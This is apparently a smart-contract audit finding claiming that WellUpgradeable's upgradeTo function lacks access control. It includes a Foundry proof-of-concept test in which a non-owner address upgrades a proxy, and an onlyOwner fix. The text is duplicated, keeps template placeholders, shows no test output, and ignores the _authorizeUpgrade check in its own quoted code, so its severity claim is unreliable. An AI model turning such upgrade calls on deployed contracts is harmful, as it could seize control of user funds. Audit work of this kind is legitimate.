Detailed description of the impact of this finding.
Title: Unauthorised Upgrade Vulnerability in upgradeTo Function
• Severity: High
• Impact: Allows unauthorised users to upgrade the contract implementation.
• Status: Unresolved
• File: WellUpgradeable.sol
• Lines Affected: 93-96
The upgradeTo function in the WellUpgradeable contract is designed to allow the contract owner to upgrade the contract to a new implementation. However, a security issue exists where any unregistered user can call this function, potentially leading to unauthorised upgrades of the contract to a registered new implementation address.
Affected Code
The vulnerability is present in the following function within WellUpgradeable.sol:
function upgradeTo(address newImplementation) public override {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
• Access Control: The function is supposed to be protected so that only the contract owner or an authorised address can perform upgrades. However, the lack of access control checks allows any user to call the function.
This vulnerability allows an unauthorised user to upgrade the contract to a new implementation that has not been planned. This can lead to:
• Reputation Damage: Users and investors may lose trust in the protocol due to security breaches.
Step 1
Create the following path and file:
test/WellUpgradeableDebo.t.sol
Step 2
Add the following code in the foundry test.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {WellUpgradeable} from "src/WellUpgradeable.sol";
import {IERC20} from "test/TestHelper.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {MockPump} from "mocks/pumps/MockPump.sol";
import {Well, Call, IWellFunction, IPump, IERC20} from "src/Well.sol";
import {ConstantProduct2} from "src/functions/ConstantProduct2.sol";
import {Aquifer} from "src/Aquifer.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {LibWellUpgradeableConstructor} from "src/libraries/LibWellUpgradeableConstructor.sol";
import {MockToken} from "mocks/tokens/MockToken.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {ERC1967Proxy} from "oz/proxy/ERC1967/ERC1967Proxy.sol";
import {MockWellUpgradeable} from "mocks/wells/MockWellUpgradeable.sol";
contract WellUpgradeableDeboTest is Test, WellDeployer {
address proxyAddress;
address aquifer;
address initialOwner;
address user;
address mockPumpAddress;
address wellFunctionAddress;
address token1Address;
address token2Address;
address wellAddress;
address wellImplementation;
address nonOwner = address(0xbEEF);
function setUp() public {
// Tokens
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = new MockToken("BEAN", "BEAN", 6);
tokens[1] = new MockToken("WETH", "WETH", 18);
token1Address = address(tokens[0]);
vm.label(token1Address, "token1");
token2Address = address(tokens[1]);
vm.label(token2Address, "token2");
user = makeAddr("user");
// Mint tokens
MockToken(address(tokens[0])).mint(user, 10_000_000_000_000_000);
MockToken(address(tokens[1])).mint(user, 10_000_000_000_000_000);
// Well Function
IWellFunction cp2 = new ConstantProduct2();
vm.label(address(cp2), "CP2");
wellFunctionAddress = address(cp2);
Call memory wellFunction = Call(address(cp2), abi.encode("beanstalkFunction"));
// Pump
IPump mockPump = new MockPump();
mockPumpAddress = address(mockPump);
vm.label(mockPumpAddress, "mockPump");
Call[] memory pumps = new Call[](1);
// init new mock pump with "beanstalk" data
pumps[0] = Call(address(mockPump), abi.encode("beanstalkPump"));
aquifer = address(new Aquifer());
vm.label(aquifer, "aquifer");
wellImplementation = address(new WellUpgradeable());
vm.label(wellImplementation, "wellImplementation");
initialOwner = makeAddr("owner");
// Well
WellUpgradeable well =
encodeAndBoreWellUpgradeable(aquifer, wellImplementation, tokens, wellFunction, pumps, bytes32(0));
wellAddress = address(well);
vm.label(wellAddress, "upgradeableWell");
// Sum up of what is going on here
// We encode and bore a well upgradeable from the aquifer
// The well upgradeable additionally takes in an owner address so we modify the init function call
// to include the owner address.
// When the new well is deployed, all init data are stored in the implementation storage
// including pump and well function data --> NOTE: This could be an issue but how do we solve this?
// Then we deploy a ERC1967Proxy proxy for the well upgradeable and call the init function on the proxy
// When we deploy the proxy, the init data is stored in the proxy storage and the well is initialized
// for the second time. We can now control the well via delegate calls to the proxy address.
// Every time we call the init function, we init the owner to be the msg.sender and
// then immidiately transfer ownership
// to an address of our choice (see WellUpgradeable.sol for more details on the init function)
// FROM OZ
// If _data is nonempty, it’s used as data in a delegate call to _logic.
// This will typically be an encoded function call, and allows initializing
// the storage of the proxy like a Solidity constructor.
// Deploy Proxy
vm.startPrank(initialOwner);
ERC1967Proxy proxy = new ERC1967Proxy(
address(well), // implementation address
LibWellUpgradeableConstructor.encodeWellInitFunctionCall(tokens, wellFunction) // init data
);
vm.stopPrank();
proxyAddress = address(proxy);
vm.label(proxyAddress, "proxyAddress");
vm.startPrank(user);
tokens[0].approve(wellAddress, type(uint256).max);
tokens[1].approve(wellAddress, type(uint256).max);
tokens[0].approve(proxyAddress, type(uint256).max);
tokens[1].approve(proxyAddress, type(uint256).max);
vm.stopPrank();
}
function testUpgradeToNewDeboImplementation() public {
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = new MockToken("BEAN", "BEAN", 6);
tokens[1] = new MockToken("WETH", "WETH", 18);
Call memory wellFunction = Call(wellFunctionAddress, abi.encode("2"));
Call[] memory pumps = new Call[](1);
pumps[0] = Call(mockPumpAddress, abi.encode("2"));
// create new mock Well Implementation:
address wellImpl = address(new MockWellUpgradeable());
WellUpgradeable well2 =
encodeAndBoreWellUpgradeable(aquifer, wellImpl, tokens, wellFunction, pumps, bytes32(abi.encode("2")));
vm.label(address(well2), "upgradeableWell2");
vm.startPrank(address(0xbEEF));
WellUpgradeable proxy = WellUpgradeable(payable(proxyAddress));
proxy.upgradeTo(address(well2));
assertEq(initialOwner, MockWellUpgradeable(proxyAddress).owner());
// verify proxy was upgraded.
assertEq(address(well2), MockWellUpgradeable(proxyAddress).getImplementation());
assertEq(1, MockWellUpgradeable(proxyAddress).getVersion());
assertEq(100, MockWellUpgradeable(proxyAddress).getVersion(100));
vm.stopPrank();
}
}
Step 3
In terminal change directory (CD) into the root folder named: 2024-07-basin. Then run the following foundry test: forge test -vvvv --match-contract WellUpgradeableDeboTest --match-test testUpgradeToNewDeboImplementation --ffi NB: The Main Net RPC URL in env file has been setup.
Results
The test is a pass with the following results.
To fix this issue, implement access control in the upgradeTo function to ensure that only the contract owner can call it. Use the onlyOwner modifier from OpenZeppelin’s Ownable contract to restrict access:
function upgradeTo(address newImplementation) public override onlyOwner {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
This vulnerability highlights the importance of implementing proper access control for critical functions such as contract upgrades. By fixing this issue, the security and reliability of the WellUpgradeable contract will be significantly improved.
Lines of code
https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/WellUpgradeable.sol#L93-L96
Vulnerability details
Impact
Detailed description of the impact of this finding. Title: Unauthorised Upgrade Vulnerability in upgradeTo Function
The upgradeTo function in the WellUpgradeable contract is designed to allow the contract owner to upgrade the contract to a new implementation. However, a security issue exists where any unregistered user can call this function, potentially leading to unauthorised upgrades of the contract to a registered new implementation address.
Affected Code
The vulnerability is present in the following function within WellUpgradeable.sol:
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. • Access Control: The function is supposed to be protected so that only the contract owner or an authorised address can perform upgrades. However, the lack of access control checks allows any user to call the function.
This vulnerability allows an unauthorised user to upgrade the contract to a new implementation that has not been planned. This can lead to: • Reputation Damage: Users and investors may lose trust in the protocol due to security breaches.
Step 1 Create the following path and file:
test/WellUpgradeableDebo.t.sol
Step 2 Add the following code in the foundry test.
Step 3 In terminal change directory (CD) into the root folder named:
2024-07-basin
. Then run the following foundry test:forge test -vvvv --match-contract WellUpgradeableDeboTest --match-test testUpgradeToNewDeboImplementation --ffi
NB: The Main Net RPC URL in env file has been setup.Results The test is a pass with the following results.
Tools Used
Manual review & foundry test.
Recommended Mitigation Steps
Implement Access Control
To fix this issue, implement access control in the upgradeTo function to ensure that only the contract owner can call it. Use the onlyOwner modifier from OpenZeppelin’s Ownable contract to restrict access:
This vulnerability highlights the importance of implementing proper access control for critical functions such as contract upgrades. By fixing this issue, the security and reliability of the WellUpgradeable contract will be significantly improved.
Assessed type
Access Control